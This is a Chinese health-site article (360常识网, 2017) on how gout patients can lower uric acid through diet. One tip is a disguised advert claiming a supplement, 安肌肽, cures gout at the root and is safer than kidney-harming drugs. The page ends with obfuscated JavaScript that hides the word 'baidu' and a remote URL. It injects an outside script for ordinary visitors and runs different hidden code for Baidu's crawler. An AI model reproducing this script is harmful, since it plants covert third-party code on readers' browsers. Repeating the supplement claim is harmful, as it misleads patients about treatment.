当前位置:首页 > 健康 > 常见疾病 > 正文

​究竟痛风病人如何降尿酸

2017-06-18 15:07:58  来源:360常识网   热度:
导语:就是一般而言,痛风与高尿酸病都有一个共同的特征,尿酸都比较高。而尿酸高了会增加身体的负担,在加剧痛风或者是高尿酸病况的情境下,其他

就是一般而言,痛风与高尿酸病都有一个共同的特征,尿酸都比较高。而尿酸高了会增加身体的负担,在加剧痛风或者是高尿酸病况的情境下,其他健康问题也会出现。因此如果尿酸高的人就需要降降尿酸。那么痛风病人如何降尿酸,生活中做到那些才是健康的,痛风病人需要掌握的呢?

高尿酸患者有饮食上应注意些什么,尿酸高痛风吃什么比较好呀?下面小编为你一一解答。

方法:

1. 禁食含嘌呤高的食物:含嘌呤高的食物有动物内脏、鱼虾、海鲜类、鹅肉等;中等嘌呤含量食物有——瘦肉、猪肉、羊肉、家禽、鱼、虾、龙虾、豆腐、豆奶、菠菜、绿豆、花椰菜、芦笋、蘑菇、紫菜等。 应多吃嘌呤含量少的食物如牛奶、鸡蛋、面包、黄瓜、番茄等,以减少外源性嘌呤进入体内,降低血尿酸水平。

2. 限制脂肪摄入量:高脂肪食物会抑制尿酸排泄,加重患者病情,避免大量使用。痛风患者每日脂肪摄入总量在50克左右为宜,注意要以植物油为主,少吃动物脂肪。

3. 以含高碳水化合物的食物为主:米、面、谷类的主要成分均是碳水化合物,平日饮食应以这些食物为主,以保证热量供应。

4. 吃功能食品预防尿酸偏高。可以吃些安肌肽,区别于药物的野蛮排酸伤肾,从根源解决痛风问题,天然安全不伤肾,适合痛风患者长期服用。

5. 保持充足的维生素B和C:维生素B和C富含于水果和蔬菜中,每日于饭后吃些柑桔、苹果,以及在膳食中多吃些绿叶蔬菜,可使体内有足够的维生素B和C。

痛风病人如何降尿酸,就需要做到以上的几点,然后还要写其他的方法也可以采用,比如说,平时减少与朋友到饭店聚餐的机会,或则是选择不走餐馆,不吃自助餐。而是吃些素食餐点,或则自己动手做的一些健康绿色的蔬菜。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}